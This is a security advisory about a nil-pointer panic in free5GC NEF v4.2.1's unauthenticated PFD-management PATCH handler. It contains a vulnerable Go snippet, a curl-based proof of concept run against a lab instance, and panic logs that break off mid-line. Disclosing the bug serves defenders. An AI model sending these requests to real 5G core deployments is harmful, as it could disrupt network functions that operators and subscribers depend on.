free5GC's NEF 3gpp-pfd-management PATCH applications/{appId} panics on UDR access failure due to nil ProblemDetails dereference
Summary
free5GC's NEF PATCH /3gpp-pfd-management/v1/{afId}/transactions/{transId}/applications/{appId} handler panics with a nil-pointer dereference when the upstream UDR call fails AND the consumer wrapper returns err != nil together with a nil *ProblemDetails. The handler's errPfdData != nil branch builds its own problemDetailsErr correctly, but immediately after it reads problemDetails.Cause (the OTHER value, which is nil in this branch) and panics. Gin recovery converts the panic into HTTP 500, so a single PATCH against this endpoint returns 500 instead of the intended controlled error response whenever UDR access is failing.
This is a second-order bug: the trigger requires UDR access to be failing (e.g. NRF or UDR is unreachable, registration broken, transient network failure). The attacker does not directly control that condition, so this is scored as AC:H. Once the upstream condition exists, the trigger is a single PATCH request and is repeatable.
The HTTP request itself in v4.2.1 is reachable without an Authorization header because the underlying NEF 3gpp-pfd-management route group is mounted without inbound auth middleware (see free5gc/free5gc#858). So in the validation lab the entire trigger chain is unauthenticated end-to-end.
Details
Validated against the NEF container in the official Docker compose lab.
- Source repo tag:
v4.2.1 - Running Docker image:
free5gc/nef:v4.2.1 - Runtime NEF commit:
5ce35eab - Docker validation date: 2026-03-21 (container log timestamp
2026-03-21T03:06:36Z) - NEF endpoint:
http://10.100.200.19:8000
Vulnerable handler logic in PatchIndividualApplicationPFDManagement (paraphrased):
```go
pdfData, problemDetails, errPfdData := p.Consumer().AppDataPfdsAppIdGet(appID)
switch {
case problemDetails != nil:
...
case errPfdData != nil:
problemDetailsErr := &models.ProblemDetails{
Status: http.StatusInternalServerError,
Detail: "Query to UDR failed",
}
c.Set(sbi.IN_PB_DETAILS_CTX_STR, problemDetails.Cause) // <-- nil deref
c.JSON(int(problemDetailsErr.Status), problemDetailsErr)
return
}
```
In the errPfdData != nil branch, problemDetails is by construction nil (otherwise the first case would have matched). Reading problemDetails.Cause panics with runtime error: invalid memory address or nil pointer dereference. The intended value is presumably problemDetailsErr.Cause -- the locally constructed problem-details struct.
Code evidence (paths in free5gc/nef):
- Patch handler core path:
NFs/nef/internal/sbi/processor/pfd.go:563NFs/nef/internal/sbi/processor/pfd.go:610- Panic site (nil-deref on
problemDetails.Cause): NFs/nef/internal/sbi/processor/pfd.go:622- Route exposure / dispatch:
NFs/nef/internal/sbi/api_pfd.go:168NFs/nef/internal/sbi/api_pfd.go:188
PoC
Reproduced end-to-end against the running NEF at http://10.100.200.19:8000. The trigger requires UDR access to be failing -- the lab simulates this by stopping NRF (so NEF's UDR client fails to discover/dial UDR). In production, equivalent triggers include NRF outages, UDR outages, or transient network failures.
1. Create an AF context (no Authorization header):
```
curl -i -X POST 'http://10.100.200.19:8000/3gpp-traffic-influence/v1/afnpd3/subscriptions' \
-H 'Content-Type: application/json' \
--data '{"afAppId":"app-nef-npd3","anyUeInd":true}'
```
2. Create a PFD-management transaction:
```
curl -i -X POST 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions' \
-H 'Content-Type: application/json' \
--data '{"pfdDatas":{"appnpd3":{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":["permit in ip from 10.68.28.39 80 to any"]}}}}}'
```
3. Make UDR access fail (lab simulation):
```
docker stop nrf
```
4. Trigger the panic with one PATCH:
```
curl -i -X PATCH 'http://10.100.200.19:8000/3gpp-pfd-management/v1/afnpd3/transactions/1/applications/appnpd3' \
-H 'Content-Type: application/json' \
--data '{"externalAppId":"appnpd3","pfds":{"pfd1":{"pfdId":"pfd1","flowDescriptions":[]}}}'
```
```
HTTP/1.1 500 Internal Server Error
Content-Length: 0
```
5. NEF container logs (docker logs --since 2026-03-21T03:06:36Z nef) confirm the nil-deref panic at pfd.go:622 inside PatchIndividualApplicationPFDManagement:
```
[INFO][NEF][PFDMng] PatchIndividualApplicationPFDManagement - scsAsID[afnpd3], transID[1], appID[appnpd3]
[ERRO][NEF][GIN] panic: runtime error: invalid memory address or nil pointer dereference
github.com/free5gc/nef/internal/sbi/processor.(*Processor).PatchIndividualApplicationPFDManagement
.../pfd.go:622
github.com/free5gc/nef/internal/sbi.(*Server).apiPatchIndividualApplicationPFDManagement
.../api_pfd.go:188
[INFO][NEF][GIN] | 500 | PATCH | /3gpp-pfd-management/v1/afnpd3/transactions/1/ap
